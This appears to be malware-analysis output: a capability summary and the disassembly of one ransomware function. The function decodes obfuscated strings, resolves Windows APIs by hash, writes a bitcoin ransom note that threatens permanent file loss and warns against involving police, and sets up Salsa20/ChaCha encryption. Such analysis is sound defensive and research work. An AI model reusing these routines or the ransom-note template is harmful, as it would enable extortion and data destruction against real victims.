Function at 0x140050770
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x14008c020]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov byte [rsp + 0x40], 0
xor r13d, r13d
mov byte [rsp + 0x41], 0x7b
mov rbx, rcx
mov byte [rsp + 0x42], 0x35
mov byte [rsp + 0x43], 0x7b
mov byte [rsp + 0x44], 0x35
mov byte [rsp + 0x45], 0xbe
mov byte [rsp + 0x46], 0x35
mov byte [rsp + 0x47], 0xbe
mov byte [rsp + 0x48], 0x35
mov byte [rsp + 0x49], 0x16
mov byte [rsp + 0x4a], 0x35
mov byte [rsp + 0x4b], 0x34
mov byte [rsp + 0x4c], 0x35
mov byte [rsp + 0x4d], 0xd6
mov byte [rsp + 0x4e], 0x35
mov byte [rsp + 0x4f], 0x3d
mov byte [rsp + 0x50], 0x35
mov byte [rsp + 0x51], 0x71
mov byte [rsp + 0x52], 0x35
mov byte [rsp + 0x53], 0x31
mov byte [rsp + 0x54], 0x35
mov byte [rsp + 0x55], 0xd6
mov byte [rsp + 0x56], 0x35
mov byte [rsp + 0x57], 0x16
mov byte [rsp + 0x58], 0x35
mov byte [rsp + 0x59], 0xbe
mov byte [rsp + 0x5a], 0x35
mov byte [rsp + 0x5b], 0xbe
mov byte [rsp + 0x5c], 0x35
mov byte [rsp + 0x5d], 0x7b
mov byte [rsp + 0x5e], 0x35
mov byte [rsp + 0x5f], 0x7b
mov byte [rsp + 0x60], 0x35
mov byte [rsp + 0x61], 0xb5
mov byte [rsp + 0x62], 0x35
mov byte [rsp + 0x63], 0xdf
mov byte [rsp + 0x64], 0x35
mov byte [rsp + 0x65], 0x7d
mov byte [rsp + 0x66], 0x35
mov byte [rsp + 0x67], 0xdf
mov byte [rsp + 0x68], 0x35
mov byte [rsp + 0x69], 0x35
mov byte [rsp + 0x6a], 0x35
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x1400508d8
mov edi, r13d
nop
movzx ecx, byte [rsp + rdi + 0x41]
mov eax, 0x35
sub eax, ecx
imul ecx, eax, 0x52
mov eax, 0x828cbfbf
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + rdi + 0x41], cl
inc rdi
cmp rdi, 0x2a
jb 0x140050880
movdqa xmm0, xmmword [0x1400864c0]
lea rax, [rsp + 0x41]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], r13
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r13w
jne 0x1400508f6
mov qword [rsp + 0x1a8], r12
lea rdx, [rsp + 0x41]
mov qword [rsp + 0x1b0], r14
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x1b8], r15
call fcn.140008860
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140008fd0
mov rdx, rax
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.14004f340
cmp qword [rbp - 0x38], 8
lea rdi, [rbp - 0x50]
mov edx, 0xf
mov r8d, 0x17610e8
cmovae rdi, qword [rbp - 0x50]
xor ecx, ecx
lea r9d, [rdx + 0x52]
call fcn.140018170
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call rax
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140050b13
lea rcx, str._What_happened_to_my_file__nRansom_Note_nSubject:_Urgent:_Your_Files_Have_Been_Encrypted_nDear_User__n_tWe_regret_to_inform_you_that_all_the_files_on_your_computer_have_been_encrypted_by_a_sophisticated_ransomware_attack._Your_documents__photos__videos__and_other_important_data_are_now_inaccessible_without_the_decryption_key._nWe_are_demanding_a_ransom_in_exchange_for_the_decryption_key._The_payment_must_be_made_in_bitcoins_to_the_following_wallet_address:__Bitcoin_Wallet_Address_._The_amount_of_the_ransom_is__Amount__bitcoins__which_is_equivalent_to_approximately__Amount_in_USD__USD._nYou_have_72_hours_to_make_the_payment._Failure_to_comply_with_our_demand_will_result_in_the_permanent_loss_of_your_files._We_have_encrypted_your_files_using_a_strong_encryption_algorithm__and_there_is_no_other_way_to_recover_them_without_the_decryption_key._nWe_assure_you_that_once_the_payment_is_received__we_will_provide_you_with_the_decryption_key_promptly._Do_not_attempt_to_decrypt_the_files_yourself__as_it_may_lead_to_irreversible_damage._nTo_prove_that_we_have_the_decryption_key_and_can_restore_your_files__you_can_send_us_one_encrypted_file__and_we_will_decrypt_it_for_you_as_a_demonstration_of_our_capability._nFor_payment_instructions_and_further_communication__please_reply_to_this_email._Do_not_involve_law_enforcement_or_attempt_to_trace_this_email__as_it_will_only_complicate_the_situation._n_tTime_is_of_the_essence._Act_swiftly_to_secure_the_release_of_your_files._n_tSincerely__The_Ransomware_Team_n
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, 0xf
xor ecx, ecx
mov edi, eax
mov r8d, 0x88f1e18
add edi, edi
lea r9d, [rdx + 0x57]
call fcn.140018170
lea r9, [rbp + 0x10]
mov qword [rsp + 0x20], r13
mov r8d, edi
lea rdx, str._What_happened_to_my_file__nRansom_Note_nSubject:_Urgent:_Your_Files_Have_Been_Encrypted_nDear_User__n_tWe_regret_to_inform_you_that_all_the_files_on_your_computer_have_been_encrypted_by_a_sophisticated_ransomware_attack._Your_documents__photos__videos__and_other_important_data_are_now_inaccessible_without_the_decryption_key._nWe_are_demanding_a_ransom_in_exchange_for_the_decryption_key._The_payment_must_be_made_in_bitcoins_to_the_following_wallet_address:__Bitcoin_Wallet_Address_._The_amount_of_the_ransom_is__Amount__bitcoins__which_is_equivalent_to_approximately__Amount_in_USD__USD._nYou_have_72_hours_to_make_the_payment._Failure_to_comply_with_our_demand_will_result_in_the_permanent_loss_of_your_files._We_have_encrypted_your_files_using_a_strong_encryption_algorithm__and_there_is_no_other_way_to_recover_them_without_the_decryption_key._nWe_assure_you_that_once_the_payment_is_received__we_will_provide_you_with_the_decryption_key_promptly._Do_not_attempt_to_decrypt_the_files_yourself__as_it_may_lead_to_irreversible_damage._nTo_prove_that_we_have_the_decryption_key_and_can_restore_your_files__you_can_send_us_one_encrypted_file__and_we_will_decrypt_it_for_you_as_a_demonstration_of_our_capability._nFor_payment_instructions_and_further_communication__please_reply_to_this_email._Do_not_involve_law_enforcement_or_attempt_to_trace_this_email__as_it_will_only_complicate_the_situation._n_tTime_is_of_the_essence._Act_swiftly_to_secure_the_release_of_your_files._n_tSincerely__The_Ransomware_Team_n
mov rcx, rsi
call rax
movaps xmm0, xmmword [str.__DECRYPT_NOTE__]
mov r12d, dword [0x14008ce70]
movaps xmm1, xmmword [0x14008ce30]
mov ecx, r12d
movaps xmmword [rbp + 0x20], xmm0
movaps xmm0, xmmword [0x14008ce60]
movups xmmword [rsp + 0x70], xmm0
movaps xmmword [rbp + 0x30], xmm1
call fcn.140063af4
mov r8d, r12d
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.14005d8f0
test r14, r14
jne 0x140050a3b
lea edx, [r14 + 0xf]
xor ecx, ecx
lea r9d, [r14 + 0x5b]
mov r8d, 0xca528872
call fcn.140018170
mov rcx, rsi
call rax
jmp 0x140050b13
xor eax, eax
lea rdi, [rbp - 0x30]
mov ecx, 0x40
lea rdx, [0x14008ce4c]
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x20]
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x20], eax
mov r9d, r12d
mov eax, dword [rbp + 0x24]
mov r8, r14
mov dword [rbp - 0x1c], eax
mov eax, dword [rbp + 0x28]
mov dword [rbp - 0x18], eax
mov eax, dword [rbp + 0x2c]
mov dword [rbp - 0x14], eax
mov eax, dword [rbp + 0x30]
mov dword [rbp - 0x10], eax
mov eax, dword [rbp + 0x34]
mov dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x38]
mov dword [rbp - 8], eax
mov eax, dword [rbp + 0x3c]
mov dword [rbp - 4], eax
mov eax, dword [rsp + 0x70]
mov dword [rbp + 8], eax
mov eax, dword [rsp + 0x74]
mov dword [rbp + 0xc], eax
mov dword [rbp - 0x30], 0x61707865
mov dword [rbp - 0x2c], 0x3320646e
mov dword [rbp - 0x28], 0x79622d32
mov dword [rbp - 0x24], 0x6b206574
mov qword [rbp], r13
call fcn.140019040
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x88f1e18
lea r9d, [rdx + 0x57]
call fcn.140018170
lea r9, [rbp + 0x14]
mov qword [rsp + 0x20], r13
mov r8d, r12d
mov rdx, r14
mov rcx, rsi
call rax
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xca528872
lea r9d, [rdx + 0x4c]
call fcn.140018170
mov rcx, rsi
call rax
xor eax, eax
mov rcx, r12
mov rdi, r14
rep stosb byte [rdi], al
mov rcx, r14
call fcn.140061668
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140050b53
mov rcx, qword [rbp - 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050b4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050be1
call fcn.14005b0b0
mov rdx, qword [rbx + 0x18]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r13w
cmp rdx, 8
jb 0x140050b9f
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140050b9a
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140050be1
mov rcx, rdi
call fcn.14005b0b0
mov r15, qword [rsp + 0x1b8]
mov r14, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1a8]
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14005b090
add rsp, 0x170
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140061a20
int3